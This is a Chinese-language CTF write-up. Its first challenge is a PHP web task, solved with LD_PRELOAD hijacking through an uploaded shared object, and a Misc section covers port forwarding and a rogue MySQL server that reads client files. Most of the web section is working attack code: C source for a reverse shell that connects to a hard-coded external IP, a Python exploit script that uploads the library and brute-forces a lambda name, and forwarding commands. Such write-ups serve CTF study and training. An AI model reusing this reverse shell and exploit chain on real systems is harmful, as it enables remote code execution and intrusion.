Web

givenphp

考点:LD_LOAD环镜变量劫持

<?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
    handleFileUpload($_FILES['file']);
}

if(isset($_GET['challenge'])){
    waf();
    $value=$_GET['value'];
    $key=$_GET['key'];
    $func=create_function("","putenv('$key=$value');");
    if($func==$_GET['guess']){
        $func();
        system("whoami");
    }
}
function waf()
{
    if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
        die("evil input!!!");
    }
}
function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }
    $fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);

    $newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
    $destination = $uploadDirectory . $newFileName;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
}

对直接注入环镜变量进行过滤

function waf()
{
    if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
        die("evil input!!!");
    }
}

存在文件上传点 考虑上传恶意so文件劫持Ld_PROLOAD环镜变量

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
  unsetenv("LD_PRELOAD");
  system("id");
  system("");
}

gcc -shared -fPIC ld.c -o ld.so image.png sh 好像没有正常工作

这个错误消息表示bash试图通过`fork`系统调用创建一个新的进程,但是系统资源暂时不可用。这通常是因为达到了某种系统限制,比如打开文件的数量限制(ulimit -n)、进程数量限制(ulimit -u)或者内存不足

考虑直接用c底层实现反弹shell(任意执行c代码) 可以的

#include <stdlib.h>  

#include <stdio.h>  

#include <string.h>  

#include <unistd.h>  

#include <netinet/in.h>  

#include <sys/types.h>  

#include <sys/socket.h>  

#define REMOTE_ADDR "148.135.82.190"  

#define REMOTE_PORT 8888  

__attribute__((__constructor__)) void preload(void)  

{  

    unsetenv("LD_PRELOAD");

    system("id");

    struct sockaddr_in sa;  

    int s;  

    sa.sin_family = AF_INET;  

    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);  

    sa.sin_port = htons(REMOTE_PORT);  

    s = socket(AF_INET, SOCK_STREAM, 0);  

    connect(s, (struct sockaddr *)&sa, sizeof(sa));  

    dup2(s, 0);  

    dup2(s, 1);  

    dup2(s, 2);  

    execve("/bin/sh", 0, 0);  

}

利用poc

import requests
url='http://23.94.38.86:9780/'
data={"upload":"true"}
file={"file":open("ld.so","rb")}
res_upload=requests.post(url,data=data,files=file)
upload_file_path=res_upload.text.split('>')[-1]
print("upload_file path:"+res_upload.text.split('>')[-1]) #拿上传文件的位置
for i in range(1,100):
    params={
        "challenge":"true",
        "key":"LD_PRELOAD",
        "value":upload_file_path,
        "guess":f"\x00lambda_{i}",
        }
    print(f"**Hacking lambda_{i}")
    res_commond=requests.get(url,params=params)
    if "uid" in res_commond.text:
        print(res_commond.text)
        print("Success exec command!")
        break

有问题直接重启环镜 image.png

Misc

OnlyLocalSql

法一:不出网 ssh端口转发

ssh -p 9020 ctf@23.94.38.86 -L *:7300:127.0.0.1:80 -R 33070:127.0.0.1:33060

法二:出网 fuso做流量转发 访问本地端口 33060 端口转发到 公网服务端口

./fus
./fuc 127.0.0.1  --forward-host 148.135.82.190 --forward-port 33070 -b 33060

构造Mysql伪服务器 读取客户端任意文件

执行任意sql语句即可 开始读取

image.png